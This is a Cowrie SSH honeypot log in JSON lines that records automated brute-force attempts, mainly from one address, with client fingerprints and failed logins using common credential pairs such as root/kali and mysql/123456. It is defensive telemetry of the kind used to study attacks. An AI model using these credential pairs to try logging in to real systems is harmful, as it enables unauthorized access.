{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:23.397331Z","src_ip":"91.92.42.227","session":"081d91d8c408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:24.782849Z","src_ip":"91.92.42.227","session":"081d91d8c408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:26.141559Z","src_ip":"91.92.42.227","session":"081d91d8c408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44462,"dst_ip":"10.17.0.5","dst_port":22,"session":"891c2ed4a3fd","protocol":"ssh","message":"New connection: 91.92.42.227:44462 (10.17.0.5:22) [session: 891c2ed4a3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:29.428051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:29.846392Z","src_ip":"91.92.42.227","session":"891c2ed4a3fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:29.849732Z","src_ip":"91.92.42.227","session":"891c2ed4a3fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:32.852719Z","src_ip":"91.92.42.227","session":"891c2ed4a3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:34.605912Z","src_ip":"91.92.42.227","session":"891c2ed4a3fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37864,"dst_ip":"10.17.0.5","dst_port":22,"session":"702814559304","protocol":"ssh","message":"New connection: 91.92.42.227:37864 (10.17.0.5:22) [session: 702814559304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:36.324328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:36.824843Z","src_ip":"91.92.42.227","session":"702814559304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:36.828080Z","src_ip":"91.92.42.227","session":"702814559304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:38.982721Z","src_ip":"91.92.42.227","session":"702814559304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:40.400848Z","src_ip":"91.92.42.227","session":"702814559304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37934,"dst_ip":"10.17.0.5","dst_port":22,"session":"4907bef8fd9b","protocol":"ssh","message":"New connection: 91.92.42.227:37934 (10.17.0.5:22) [session: 4907bef8fd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:43.531594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:43.915239Z","src_ip":"91.92.42.227","session":"4907bef8fd9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:43.918909Z","src_ip":"91.92.42.227","session":"4907bef8fd9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:45.695498Z","src_ip":"91.92.42.227","session":"4907bef8fd9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:47.224751Z","src_ip":"91.92.42.227","session":"4907bef8fd9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56056,"dst_ip":"10.17.0.5","dst_port":22,"session":"118676af281d","protocol":"ssh","message":"New connection: 91.92.42.227:56056 (10.17.0.5:22) [session: 118676af281d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:50.317031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:50.794856Z","src_ip":"91.92.42.227","session":"118676af281d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:50.800795Z","src_ip":"91.92.42.227","session":"118676af281d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:52.488351Z","src_ip":"91.92.42.227","session":"118676af281d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:54.039301Z","src_ip":"91.92.42.227","session":"118676af281d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35744,"dst_ip":"10.17.0.5","dst_port":22,"session":"65c722c83c81","protocol":"ssh","message":"New connection: 91.92.42.227:35744 (10.17.0.5:22) [session: 65c722c83c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:58.115230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:58.126619Z","src_ip":"91.92.42.227","session":"65c722c83c81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:58.220466Z","src_ip":"91.92.42.227","session":"65c722c83c81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:24:58.957092Z","src_ip":"91.92.42.227","session":"65c722c83c81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:00.114904Z","src_ip":"91.92.42.227","session":"65c722c83c81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60336,"dst_ip":"159.203.135.109","dst_port":22,"session":"30007b360cac","protocol":"ssh","message":"New connection: 80.94.92.184:60336 (159.203.135.109:22) [session: 30007b360cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:01.768213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:02.034000Z","src_ip":"80.94.92.184","session":"30007b360cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:02.275764Z","src_ip":"80.94.92.184","session":"30007b360cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41468,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c151b1e793f","protocol":"ssh","message":"New connection: 91.92.42.227:41468 (10.17.0.5:22) [session: 3c151b1e793f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:04.708098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:04.930590Z","src_ip":"91.92.42.227","session":"3c151b1e793f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:04.937775Z","src_ip":"91.92.42.227","session":"3c151b1e793f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:06.057521Z","src_ip":"80.94.92.184","session":"30007b360cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:06.273130Z","src_ip":"91.92.42.227","session":"3c151b1e793f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:07.152747Z","src_ip":"80.94.92.184","session":"30007b360cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:07.789961Z","src_ip":"91.92.42.227","session":"3c151b1e793f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40286,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb251c6bcaf3","protocol":"ssh","message":"New connection: 168.167.228.74:40286 (159.203.135.109:22) [session: cb251c6bcaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:09.285422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:25:09.289367Z","src_ip":"168.167.228.74","session":"cb251c6bcaf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 